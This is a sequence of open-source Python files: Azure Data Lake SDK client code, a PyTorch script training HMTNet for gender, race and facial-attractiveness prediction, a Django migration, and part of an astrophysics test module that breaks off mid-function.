or access control list for a directory. :param timeout: The timeout parameter is expressed in seconds. For more information, see <a href="https://docs.microsoft.com/en-us/rest/api/storageservices/fileservices/setting-timeouts-for-blob-service-operations">Setting Timeouts for Blob Service Operations.</a> :type timeout: int :param upn: Optional. Valid only when Hierarchical Namespace is enabled for the account. If "true", the identity values returned in the x-ms-owner, x-ms-group, and x-ms-acl response headers will be transformed from Azure Active Directory Object IDs to User Principal Names. If "false", the values will be returned as Azure Active Directory Object IDs. The default value is false. :type upn: bool :param request_id: Provides a client-generated, opaque value with a 1 KB character limit that is recorded in the analytics logs when storage analytics logging is enabled. :type request_id: str :param lease_access_conditions: Additional parameters for the operation :type lease_access_conditions: ~.models.LeaseAccessConditions :param modified_access_conditions: Additional parameters for the operation :type modified_access_conditions: ~.models.ModifiedAccessConditions :param callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises: :class:`DataLakeStorageErrorException<.models.DataLakeStorageErrorException>` """ error_map = kwargs.pop('error_map', None) lease_id = None if lease_access_conditions is not None: lease_id = lease_access_conditions.lease_id if_match = None if modified_access_conditions is not None: if_match = modified_access_conditions.if_match if_none_match = None if modified_access_conditions is not None: if_none_match = modified_access_conditions.if_none_match if_modified_since = None if modified_access_conditions is not None: if_modified_since = modified_access_conditions.if_modified_since if_unmodified_since = None if modified_access_conditions is not None: if_unmodified_since = modified_access_conditions.if_unmodified_since action = "getAccessControl" # Construct URL url = self.get_access_control.metadata['url'] path_format_arguments = { 'url': self._serialize.url("self._config.url", self._config.url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if timeout is not None: query_parameters['timeout'] = self._serialize.query("timeout", timeout, 'int', minimum=0) if upn is not None: query_parameters['upn'] = self._serialize.query("upn", upn, 'bool') query_parameters['action'] = self._serialize.query("action", action, 'str') # Construct headers header_parameters = {} if request_id is not None: header_parameters['x-ms-client-request-id'] = self._serialize.header("request_id", request_id, 'str') header_parameters['x-ms-version'] = self._serialize.header("self._config.version", self._config.version, 'str') if lease_id is not None: header_parameters['x-ms-lease-id'] = self._serialize.header("lease_id", lease_id, 'str') if if_match is not None: header_parameters['If-Match'] = self._serialize.header("if_match", if_match, 'str') if if_none_match is not None: header_parameters['If-None-Match'] = self._serialize.header("if_none_match", if_none_match, 'str') if if_modified_since is not None: header_parameters['If-Modified-Since'] = self._serialize.header("if_modified_since", if_modified_since, 'rfc-1123') if if_unmodified_since is not None: header_parameters['If-Unmodified-Since'] = self._serialize.header("if_unmodified_since", if_unmodified_since, 'rfc-1123') # Construct and send request request = self._client.head(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise models.DataLakeStorageErrorException(response, self._deserialize) if cls: response_headers = { 'Date': self._deserialize('rfc-1123', response.headers.get('Date')), 'ETag': self._deserialize('str', response.headers.get('ETag')), 'Last-Modified': self._deserialize('rfc-1123', response.headers.get('Last-Modified')), 'x-ms-owner': self._deserialize('str', response.headers.get('x-ms-owner')), 'x-ms-group': self._deserialize('str', response.headers.get('x-ms-group')), 'x-ms-permissions': self._deserialize('str', response.headers.get('x-ms-permissions')), 'x-ms-acl': self._deserialize('str', response.headers.get('x-ms-acl')), 'x-ms-request-id': self._deserialize('str', response.headers.get('x-ms-request-id')), 'x-ms-version': self._deserialize('str', response.headers.get('x-ms-version')), 'x-ms-client-request-id': self._deserialize('str', response.headers.get('x-ms-client-request-id')), } return cls(response, None, response_headers) get_access_control.metadata = {'url': '/{filesystem}/{path}'}

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5a84fb0228e13b6f0335f40ddbed3a1f98034221

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py

Python

main/fbp.py

lucasxlu/HMTNet

b66d92d5e408b0525f535f38bdf08ff1749e0152

[ "MIT" ]

11

2019-10-28T07:47:03.000Z

2021-11-18T08:22:34.000Z

main/fbp.py

lucasxlu/HMTNet

b66d92d5e408b0525f535f38bdf08ff1749e0152

[ "MIT" ]

1

2020-06-29T20:07:28.000Z

2020-06-29T21:18:29.000Z

main/fbp.py

lucasxlu/HMTNet

b66d92d5e408b0525f535f38bdf08ff1749e0152

[ "MIT" ]

3

2021-08-28T00:17:17.000Z

2021-12-22T12:56:08.000Z

import copy import time import sys import os import numpy as np import pandas as pd import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.optim import lr_scheduler from torchvision import transforms, datasets from sklearn.metrics import mean_absolute_error, mean_squared_error sys.path.append('../') from models.vggm import VggM from util import file_utils from models.losses import HMTLoss from models.hmtnet_fbp import RNet, GNet, HMTNet from data.datasets import FaceGenderDataset, FaceRaceDataset, FaceDataset, FDataset from config.cfg import cfg from data import data_loader def train_gnet(model, train_loader, test_loader, criterion, optimizer, num_epochs=200, inference=False): """ train GNet :param model: :param train_loader: :param test_loader: :param criterion: :param optimizer: :param num_epochs: :return: """ exp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=50, gamma=0.1) device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") if torch.cuda.device_count() > 1: print("We are running on", torch.cuda.device_count(), "GPUs!") model = nn.DataParallel(model) if not inference: exp_lr_scheduler.step() model.train() for epoch in range(num_epochs): # loop over the dataset multiple times running_loss = 0.0 for i, data in enumerate(train_loader, 0): # get the inputs # inputs, labels = data inputs, labels = data['image'], data['gender'] model = model.to(device) inputs, labels = inputs.to(device), labels.to(device) # zero the parameter gradients optimizer.zero_grad() # forward + backward + optimize outputs = model.forward(inputs) outputs = outputs.view(cfg['batch_size'], -1) loss = criterion(outputs, labels) loss.backward() optimizer.step() # print statistics running_loss += loss.item() if i % 50 == 49: # print every 50 mini-batches print('[%d, %5d] loss: %.5f' % (epoch + 1, i + 1, running_loss / 50)) running_loss = 0.0 print('Finished Training') print('Save trained model...') model_path_dir = './model' file_utils.mkdirs_if_not_exist(model_path_dir) torch.save(model.state_dict(), os.path.join(model_path_dir, 'gnet.pth')) else: print('Loading pre-trained model...') model.load_state_dict(torch.load(os.path.join('./model/gnet.pth'))) model.eval() correct = 0 total = 0 for data in test_loader: # images, labels = data images, labels = data['image'], data['gender'] model = model.to(device) labels = labels.to(device) outputs = model.forward(images.to(device)) outputs = outputs.view(cfg['batch_size'], 2) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item() print('correct = %d ...' % correct) print('total = %d ...' % total) print('Accuracy of the network on test images: %f' % (correct / total)) def train_rnet(model, train_loader, test_loader, criterion, optimizer, num_epochs=200, inference=False): """ train GNet :param model: :param train_loader: :param test_loader: :param criterion: :param optimizer: :param num_epochs: :return: """ exp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=50, gamma=0.1) device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") if torch.cuda.device_count() > 1: print("We are running on", torch.cuda.device_count(), "GPUs!") model = nn.DataParallel(model) if not inference: exp_lr_scheduler.step() model.train() for epoch in range(num_epochs): # loop over the dataset multiple times running_loss = 0.0 for i, data in enumerate(train_loader, 0): # get the inputs # inputs, labels = data inputs, labels = data['image'], data['race'] model = model.to(device) inputs, labels = inputs.to(device), labels.to(device) # zero the parameter gradients optimizer.zero_grad() # forward + backward + optimize outputs = model.forward(inputs) outputs = outputs.view(cfg['batch_size'], 2) loss = criterion(outputs, labels) loss.backward() optimizer.step() # print statistics running_loss += loss.item() if i % 50 == 49: # print every 50 mini-batches print('[%d, %5d] loss: %.5f' % (epoch + 1, i + 1, running_loss / 50)) running_loss = 0.0 print('Finished Training') print('Save trained model...') model_path_dir = './model' file_utils.mkdirs_if_not_exist(model_path_dir) torch.save(model.state_dict(), os.path.join(model_path_dir, 'rnet.pth')) else: print('Loading pre-trained model...') model.load_state_dict(torch.load(os.path.join('./model/rnet.pth'))) model.eval() correct = 0 total = 0 for data in test_loader: # images, labels = data images, labels = data['image'], data['race'] model = model.to(device) labels = labels.to(device) outputs = model.forward(images.to(device)) outputs = outputs.view(cfg['batch_size'], 2) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item() print('correct = %d ...' % correct) print('total = %d ...' % total) print('Accuracy of the RNet on test images: %f' % (correct / total)) def finetune_vgg_m_model(model_ft, train_loader, test_loader, criterion, num_epochs=200, inference=False): """ fine-tune VGG M Face Model :param model_ft: :param train_loader: :param test_loader: :param criterion: :param num_epochs: :param inference: :return: """ num_ftrs = model_ft.fc8.in_channels model_ft.fc8 = nn.Conv2d(num_ftrs, 2, 1) device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") if torch.cuda.device_count() > 1: print("We are running on", torch.cuda.device_count(), "GPUs!") # dim = 0 [30, xxx] -> [10, ...], [10, ...], [10, ...] on 3 GPUs model_ft = nn.DataParallel(model_ft) model_ft = model_ft.to(device) optimizer_ft = optim.SGD(model_ft.parameters(), lr=0.001, momentum=0.9, weight_decay=1e-4) exp_lr_scheduler = lr_scheduler.StepLR(optimizer_ft, step_size=50, gamma=0.1) if not inference: for epoch in range(num_epochs): # loop over the dataset multiple times exp_lr_scheduler.step() model_ft.train() running_loss = 0.0 for i, data in enumerate(train_loader, 0): # get the inputs # inputs, labels = data inputs, labels = data['image'], data['attractiveness'].float() model_ft = model_ft.to(device) inputs, labels = inputs.to(device), labels.to(device) # zero the parameter gradients optimizer_ft.zero_grad() # forward + backward + optimize outputs = model_ft.forward(inputs) outputs = (torch.sum(outputs, dim=1) / 2).view(cfg['batch_size'], 1) outputs = outputs.view(cfg['batch_size']) loss = criterion(outputs, labels) loss.backward() optimizer_ft.step() # print statistics running_loss += loss.item() if i % 50 == 49: # print every 50 mini-batches print('[%d, %5d] loss: %.5f' % (epoch + 1, i + 1, running_loss / 50)) running_loss = 0.0 print('Finished Training') print('Save trained model...') model_path_dir = './model' file_utils.mkdirs_if_not_exist(model_path_dir) torch.save(model_ft.state_dict(), os.path.join(model_path_dir, 'ft_vgg_m.pth')) else: print('Loading pre-trained model...') model_ft.load_state_dict(torch.load(os.path.join('./model/ft_vgg_m.pth'))) model_ft.eval() correct = 0 total = 0 # for data in test_loader: for i, data in enumerate(test_loader, 0): # images, labels = data images, labels = data['image'], data['attractiveness'].float() model_ft = model_ft.to(device) labels = labels.to(device) outputs = model_ft.forward(images.to(device)) outputs = outputs.view(cfg['batch_size']) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item() print('correct = %d ...' % correct) print('total = %d ...' % total) print('Accuracy of the network on the test images: %f' % (correct / total)) def train_anet(model_ft, train_loader, test_loader, criterion, num_epochs=200, inference=False): """ train ANet :param model_ft: :param train_loader: :param test_loader: :param criterion: :param num_epochs: :param inference: :return: """ num_ftrs = model_ft.fc8.in_channels model_ft.fc8 = nn.Conv2d(num_ftrs, 1, 1) device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") if torch.cuda.device_count() > 1: print("We are running on", torch.cuda.device_count(), "GPUs!") model_ft = nn.DataParallel(model_ft) model_ft = model_ft.to(device) optimizer_ft = optim.SGD(model_ft.parameters(), lr=0.001, momentum=0.9, weight_decay=1e-4) exp_lr_scheduler = lr_scheduler.StepLR(optimizer_ft, step_size=50, gamma=0.1) if not inference: for epoch in range(num_epochs): # loop over the dataset multiple times exp_lr_scheduler.step() model_ft.train() running_loss = 0.0 for i, data in enumerate(train_loader, 0): # get the inputs inputs, labels = data['image'], data['attractiveness'] model_ft = model_ft.to(device) inputs, labels = inputs.to(device), labels.float().to(device) # zero the parameter gradients optimizer_ft.zero_grad() # forward + backward + optimize outputs = model_ft(inputs) outputs = outputs.view(cfg['batch_size']) loss = criterion(outputs, labels) loss.backward() optimizer_ft.step() # print statistics running_loss += loss.item() if i % 50 == 49: # print every 50 mini-batches print('[%d, %5d] loss: %.5f' % (epoch + 1, i + 1, running_loss / 50)) running_loss = 0.0 print('Finished Training') print('Save trained model...') model_path_dir = './model' file_utils.mkdirs_if_not_exist(model_path_dir) torch.save(model_ft.state_dict(), os.path.join(model_path_dir, 'anet.pth')) else: print('Loading pre-trained model...') model_ft.load_state_dict(torch.load(os.path.join('./model/anet.pth'))) model_ft.eval() predicted_labels = [] gt_labels = [] for i, data in enumerate(test_loader, 0): images, labels = data['image'], data['attractiveness'] model_ft = model_ft.to(device) labels = labels.to(device) outputs = model_ft.forward(images.to(device)) predicted_labels += outputs.to("cpu").data.numpy().tolist() gt_labels += labels.to("cpu").numpy().tolist() from sklearn.metrics import mean_absolute_error, mean_squared_error mae_lr = round(mean_absolute_error(np.array(gt_labels), np.array(predicted_labels).ravel()), 4) rmse_lr = round(np.math.sqrt(mean_squared_error(np.array(gt_labels), np.array(predicted_labels).ravel())), 4) pc = round(np.corrcoef(np.array(gt_labels), np.array(predicted_labels).ravel())[0, 1], 4) print('===============The Mean Absolute Error of ANet is {0}===================='.format(mae_lr)) print('===============The Root Mean Square Error of ANet is {0}===================='.format(rmse_lr)) print('===============The Pearson Correlation of ANet is {0}===================='.format(pc)) def train_hmtnet(hmt_net, train_loader, test_loader, num_epochs, inference=False): """ train HMT-Net :param hmt_net: :param train_loader: :param test_loader: :param num_epochs: :param inference: :return: """ print(hmt_net) device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") if torch.cuda.device_count() > 1: print("We are running on", torch.cuda.device_count(), "GPUs!") hmt_net = nn.DataParallel(hmt_net) hmt_net = hmt_net.to(device) criterion = HMTLoss() optimizer = optim.SGD(hmt_net.parameters(), lr=0.001, momentum=0.9, weight_decay=5e-2) exp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=50, gamma=0.1) if not inference: hmt_net.train() for epoch in range(num_epochs): # loop over the dataset multiple times exp_lr_scheduler.step() running_loss = 0.0 for i, data in enumerate(train_loader, 0): # get the inputs inputs, gender, race, attractiveness = data['image'], data['gender'], data['race'], \ data['attractiveness'] inputs, gender, race, attractiveness = inputs.to(device), gender.to(device), race.to( device), attractiveness.float().to(device) # zero the parameter gradients optimizer.zero_grad() # forward + backward + optimize g_pred, r_pred, a_pred = hmt_net.forward(inputs) g_pred = g_pred.view(cfg['batch_size'], -1) r_pred = r_pred.view(cfg['batch_size'], -1) a_pred = a_pred.view(cfg['batch_size']) loss = criterion(g_pred, gender, r_pred, race, a_pred, attractiveness) loss.backward() optimizer.step() # print statistics running_loss += loss.item() if i % 50 == 49: # print every 100 mini-batches print('[%d, %5d] loss: %.5f' % (epoch + 1, i + 1, running_loss / 50)) running_loss = 0.0 hmt_net.eval() predicted_attractiveness_values = [] gt_attractiveness_values = [] total = 0 g_correct = 0 r_correct = 0 for data in test_loader: images, g_gt, r_gt, a_gt = data['image'], data['gender'], data['race'], \ data['attractiveness'] hmt_net = hmt_net.to(device) g_gt = g_gt.to(device) r_gt = r_gt.to(device) a_gt = a_gt.to(device) images = images.to(device) bs, ncrops, c, h, w = images.size() g_pred, r_pred, a_pred = hmt_net(images.view(-1, c, h, w)) # fuse batch size and ncrops a_pred = a_pred.view(bs, ncrops, -1).mean(1) # avg over crops g_pred = g_pred.view(bs, ncrops, -1).mean(1) # avg over crops r_pred = r_pred.view(bs, ncrops, -1).mean(1) # avg over crops predicted_attractiveness_values += a_pred.to("cpu").data.numpy().tolist() gt_attractiveness_values += a_gt.to("cpu").numpy().tolist() g_pred = g_pred.view(cfg['batch_size'], -1) r_pred = r_pred.view(cfg['batch_size'], -1) _, g_predicted = torch.max(g_pred.data, 1) _, r_predicted = torch.max(r_pred.data, 1) total += g_gt.size(0) g_correct += (g_predicted == g_gt).sum().item() r_correct += (r_predicted == r_gt).sum().item() print('total = %d ...' % total) print('Gender correct sample = %d ...' % g_correct) print('Race correct sample = %d ...' % r_correct) print('Accuracy of Race Classification: %.4f' % (r_correct / total)) print('Accuracy of Gender Classification: %.4f' % (g_correct / total)) mae_lr = round( mean_absolute_error(np.array(gt_attractiveness_values), np.array(predicted_attractiveness_values).ravel()), 4) rmse_lr = round(np.math.sqrt( mean_squared_error(np.array(gt_attractiveness_values), np.array(predicted_attractiveness_values).ravel())), 4) pc = round( np.corrcoef(np.array(gt_attractiveness_values), np.array(predicted_attractiveness_values).ravel())[ 0, 1], 4) print('===============The Mean Absolute Error of HMT-Net is {0}===================='.format(mae_lr)) print('===============The Root Mean Square Error of HMT-Net is {0}===================='.format(rmse_lr)) print('===============The Pearson Correlation of HMT-Net is {0}===================='.format(pc)) model_path_dir = './model' file_utils.mkdirs_if_not_exist(model_path_dir) torch.save(hmt_net.state_dict(), os.path.join(model_path_dir, 'hmt-net-fbp-epoch-%d.pth' % (epoch + 1))) hmt_net.train() print('Finished Training') print('Save trained model...') model_path_dir = './model' file_utils.mkdirs_if_not_exist(model_path_dir) torch.save(hmt_net.state_dict(), os.path.join(model_path_dir, 'hmt-net-fbp.pth')) else: print('Loading pre-trained model...') hmt_net.load_state_dict(torch.load(os.path.join('./model/hmt-net-fbp.pth'))) hmt_net.eval() predicted_attractiveness_values = [] gt_attractiveness_values = [] total = 0 g_correct = 0 r_correct = 0 for data in test_loader: images, g_gt, r_gt, a_gt = data['image'], data['gender'], data['race'], \ data['attractiveness'] hmt_net = hmt_net.to(device) g_gt = g_gt.to(device) r_gt = r_gt.to(device) a_gt = a_gt.to(device) images = images.to(device) bs, ncrops, c, h, w = images.size() g_pred, r_pred, a_pred = hmt_net(images.view(-1, c, h, w)) # fuse batch size and ncrops a_pred = a_pred.view(bs, ncrops, -1).mean(1) # avg over crops g_pred = g_pred.view(bs, ncrops, -1).mean(1) # avg over crops r_pred = r_pred.view(bs, ncrops, -1).mean(1) # avg over crops predicted_attractiveness_values += a_pred.to("cpu").data.numpy().tolist() gt_attractiveness_values += a_gt.to("cpu").numpy().tolist() # g_pred = g_pred.view(-1, g_pred.numel()) # r_pred = r_pred.view(-1, r_pred.numel()) g_pred = g_pred.view(cfg['batch_size'], -1) r_pred = r_pred.view(cfg['batch_size'], -1) _, g_predicted = torch.max(g_pred.data, 1) _, r_predicted = torch.max(r_pred.data, 1) total += g_gt.size(0) g_correct += (g_predicted == g_gt).sum().item() r_correct += (r_predicted == r_gt).sum().item() print('total = %d ...' % total) print('Gender correct sample = %d ...' % g_correct) print('Race correct sample = %d ...' % r_correct) print('Accuracy of Race Classification: %.4f' % (r_correct / total)) print('Accuracy of Gender Classification: %.4f' % (g_correct / total)) mae_lr = round( mean_absolute_error(np.array(gt_attractiveness_values), np.array(predicted_attractiveness_values).ravel()), 4) rmse_lr = round(np.math.sqrt( mean_squared_error(np.array(gt_attractiveness_values), np.array(predicted_attractiveness_values).ravel())), 4) pc = round(np.corrcoef(np.array(gt_attractiveness_values), np.array(predicted_attractiveness_values).ravel())[0, 1], 4) print('===============The Mean Absolute Error of HMT-Net is {0}===================='.format(mae_lr)) print('===============The Root Mean Square Error of HMT-Net is {0}===================='.format(rmse_lr)) print('===============The Pearson Correlation of HMT-Net is {0}===================='.format(pc)) if __name__ == '__main__': # print('***************************start training GNet***************************') # gnet = GNet() # criterion = nn.CrossEntropyLoss() # train_loader, test_loader = data_loader.load_scutfbp5500_64() # optimizer = optim.SGD(gnet.parameters(), lr=0.001, momentum=0.9, weight_decay=5e-2) # train_gnet(gnet, train_loader, test_loader, criterion, optimizer, num_epochs=170, inference=False) # print('***************************finish training GNet***************************') # print('###############################start training RNet###############################') # rnet = RNet() # criterion = nn.CrossEntropyLoss() # train_loader, test_loader = data_loader.load_scutfbp5500_64() # optimizer = optim.SGD(rnet.parameters(), lr=0.001, momentum=0.9, weight_decay=5e-2) # train_rnet(rnet, train_loader, test_loader, criterion, optimizer, num_epochs=170, inference=False) # print('###############################finish training RNet###############################') # print('***************************start training ANet***************************') # train_loader, test_loader = data_loader.load_scutfbp5500_64() # train_anet(VggM(), train_loader, test_loader, nn.MSELoss(), 200, False) # print('***************************end training ANet***************************') print('+++++++++++++++++++++++++++++++++start training HMT-Net on SCUT-FBP5500+++++++++++++++++++++++++++++++++') hmtnet = HMTNet() # train_loader, test_loader = data_loader.load_scutfbp5500_cv(cv_index=1) train_loader, test_loader = data_loader.load_scutfbp5500_64() train_hmtnet(hmtnet, train_loader, test_loader, 250, False) print('+++++++++++++++++++++++++++++++++finish training HMT-Net SCUT-FBP5500+++++++++++++++++++++++++++++++++')

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null

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7

ce58b10137da4636163eeb5be212907139406173

3,749

py

Python

association/core/migrations/0014_alter_cashier_deletedat_alter_demand_deletedat_and_more.py

gabrielroot/orgManagment_django

a5f181ecedebc64db583031aef7a50c96d4b07de

[ "MIT" ]

null

association/core/migrations/0014_alter_cashier_deletedat_alter_demand_deletedat_and_more.py

gabrielroot/orgManagment_django

a5f181ecedebc64db583031aef7a50c96d4b07de

[ "MIT" ]

null

association/core/migrations/0014_alter_cashier_deletedat_alter_demand_deletedat_and_more.py

gabrielroot/orgManagment_django

a5f181ecedebc64db583031aef7a50c96d4b07de

[ "MIT" ]

null

# Generated by Django 4.0.2 on 2022-03-01 19:54 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('core', '0013_remove_partner_message'), ] operations = [ migrations.AlterField( model_name='cashier', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='demand', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='demand', name='teasurer', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.teasurer'), ), migrations.AlterField( model_name='financialtransaction', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='justification', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='justification', name='member', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.member'), ), migrations.AlterField( model_name='member', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='member', name='user', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='montlypayment', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='montlypayment', name='dueDate', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='president', name='endMandate', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='request', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='request', name='president', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.president'), ), migrations.AlterField( model_name='trip', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='trip', name='endDate', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='usevehicle', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), migrations.AlterField( model_name='usevehicle', name='member', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.member'), ), migrations.AlterField( model_name='vehicle', name='deletedAt', field=models.DateTimeField(blank=True, null=True), ), ]

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9

ce9464c524b8048f1a0cc05006b5d220d3c01791

49,831

py

Python

centralms/tests/test_evolver.py

changhoonhahn/centralMS

39b4509ea99e47ab5cf1f9be8775d53eee6de80f

[ "MIT" ]

1

2018-05-30T23:43:52.000Z

centralms/tests/test_evolver.py

changhoonhahn/centralMS

39b4509ea99e47ab5cf1f9be8775d53eee6de80f

[ "MIT" ]

2

2017-04-24T22:58:40.000Z

2017-04-24T22:59:28.000Z

centralms/tests/test_evolver.py

changhoonhahn/centralMS

39b4509ea99e47ab5cf1f9be8775d53eee6de80f

[ "MIT" ]

null

import numpy as np import time import env import catalog as Cat import evolver as Evol import observables as Obvs import util as UT import matplotlib.pyplot as plt import corner as DFM from ChangTools.plotting import prettyplot from ChangTools.plotting import prettycolors def test_Evolver_time(sfh, nsnap0=None, downsampled=None, tduty=1., abias=0.): ''' Time how long a single run of the evolver takes from start to finish ''' # set parameter values theta = Evol.defaultTheta(sfh) if 'random_step' in sfh: theta['sfh']['dt_min'] = tduty theta['sfh']['dt_max'] = tduty theta['mass']['t_step'] = 0.05 if theta['mass']['t_step'] > tduty/10.: theta['mass']['t_step'] = tduty/10. if abias > 0.: theta['sfh']['t_abias'] = 2. # assembly bias timescale theta['sfh']['sigma_corr'] = abias else: theta['sfh']['t_abias'] = None # assembly bias timescale # read in the central subhalo catalog t_cat = time.time() subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) subcat = subhist.Read(downsampled=downsampled) print (time.time() - t_cat), 'seconds to read pure central catalog' # run it through the evolver t_evo = time.time() eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() print (time.time() - t_evo), 'seconds to initiate' t_evo = time.time() eev.Evolve() print (time.time() - t_evo), 'seconds to evolve' return None def test_Evolver_logSFRinitiate(sfh, nsnap0=None): ''' Test the log(SFR) initiate step within Evolver.Evolve() ''' # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) print subhist.File() subcat = subhist.Read() # load in generic theta (parameter values) theta = Evol.defaultTheta(sfh) for k in theta.keys(): print k, '---', theta[k] eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() eev.Evolve(forTests=True) #subcat = eev.SH_catalog sfr_kwargs = eev.sfr_kwargs # SFR keyword arguments #logSFR_logM_z = self.logSFR_logM_z # logSFR(logM, z) function prettyplot() pretty_colors = prettycolors() if sfh in ['random_step', 'random_step_fluct']: #print 'dlogSFR_amp', sfr_kwargs['dlogSFR_amp'].shape #print 'tsteps', sfr_kwargs['tsteps'].shape i_rand = np.random.choice(range(sfr_kwargs['dlogSFR_amp'].shape[0]), size=10, replace=False) fig = plt.figure() sub = fig.add_subplot(111) for ii in i_rand: #print sfr_kwargs['tsteps'][ii, :] #print sfr_kwargs['dlogSFR_amp'][ii, :] sub.plot(sfr_kwargs['tsteps'][ii, :], sfr_kwargs['dlogSFR_amp'][ii, :]) sub.set_xlim([UT.t_nsnap(nsnap0), UT.t_nsnap(1)]) plt.show() elif sfh in ['random_step_abias']: i_rand = np.random.choice(range(sfr_kwargs['dlogSFR_amp'].shape[0]), size=10, replace=False) fig = plt.figure() sub = fig.add_subplot(111) for ii in i_rand: #range(sfr_kwargs['dlogSFR_amp'].shape[1]): #print sfr_kwargs['tsteps'][ii, :] #print sfr_kwargs['dlogSFR_amp'][ii, :] sub.scatter(sfr_kwargs['dMhalos'][ii,:], sfr_kwargs['dlogSFR_corr'][ii,:]) sub.set_xlim([-0.2, 0.2]) sub.set_ylim([-3.*theta['sfh']['sigma_corr'], 3.*theta['sfh']['sigma_corr']]) plt.show() else: raise NotImplementedError return None def test_Evolver_ODEsolver(sfh, nsnap0=None): ''' Test the ODE solver in the Evolver. We compare the results between Euler ODE solver and the scipy integrate odeint's fancy solver. ======================================== COMPARISON SHOWS GOOD AGREEMENT. ======================================== ''' solvers = ['euler', 'scipy'] prettyplot() pretty_colors = prettycolors() fig = plt.figure(figsize=(18, 7*len(solvers))) for i_s, solver in enumerate(solvers): # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) print subhist.File() subcat = subhist.Read() # load in generic theta (parameter values) theta = Evol.defaultTheta(sfh) theta['mass']['solver'] = solver for k in theta.keys(): print k, '---', theta[k] eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() eev.Evolve() isSF = np.where(subcat['gclass'] == 'star-forming')[0] sub = fig.add_subplot(len(solvers),2,i_s*len(solvers)+1) for n in range(2, nsnap0+1)[::-1]: # identify SF population at snapshot smf_sf = Obvs.getMF(subcat['snapshot'+str(n)+'_m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=2, c='b', alpha=0.05 * (21. - n)) smf_sf = Obvs.getMF(subcat['m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='b', ls='-', label='Integrated') smf_sf_msham = Obvs.getMF(subcat['m.sham'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf_msham[0], smf_sf_msham[1], lw=3, c='k', ls='--', label='SHAM') sub.set_xlim([6.75, 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-5, 10**-1.75]) sub.set_yscale('log') sub.set_ylabel('log $\Phi$', fontsize=25) sub.legend(loc='upper right') # mark the solver type sub.text(0.15, 0.9, solver.upper(), ha='center', va='center', transform=sub.transAxes) sub = fig.add_subplot(len(solvers),2,i_s*len(solvers)+2) smhmr = Obvs.Smhmr() m_mid, mu_mstar, sig_mstar, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.star'][isSF]) sig_mstar_mh12 = smhmr.sigma_logMstar(subcat['halo.m'][isSF], subcat['m.star'][isSF], Mhalo=12.) sub.errorbar(m_mid, mu_mstar, yerr=sig_mstar) sub.fill_between(m_mid, mu_mstar - 0.2, mu_mstar + 0.2, color='k', alpha=0.25, linewidth=0, edgecolor=None) sub.text(0.3, 0.9, '$\sigma_{log\, M*}(M_h = 10^{12} M_\odot)$ ='+str(round(sig_mstar_mh12, 3)), ha='center', va='center', transform=sub.transAxes) sub.set_xlim([10.5, 14.]) sub.set_xlabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) sub.set_ylim([8., 12.]) sub.set_ylabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) fig.savefig(''.join([UT.fig_dir(), sfh+'_ODEsolver.png']), bbox_inches='tight') plt.close() return None def test_RandomStep_timescale(sig_smhm=None, nsnap_ancestor=20): ''' Test the impact of the timescale for random step SFH scheme ''' # load in generic theta (parameter values) theta = Evol.defaultTheta('random_step') for tstep 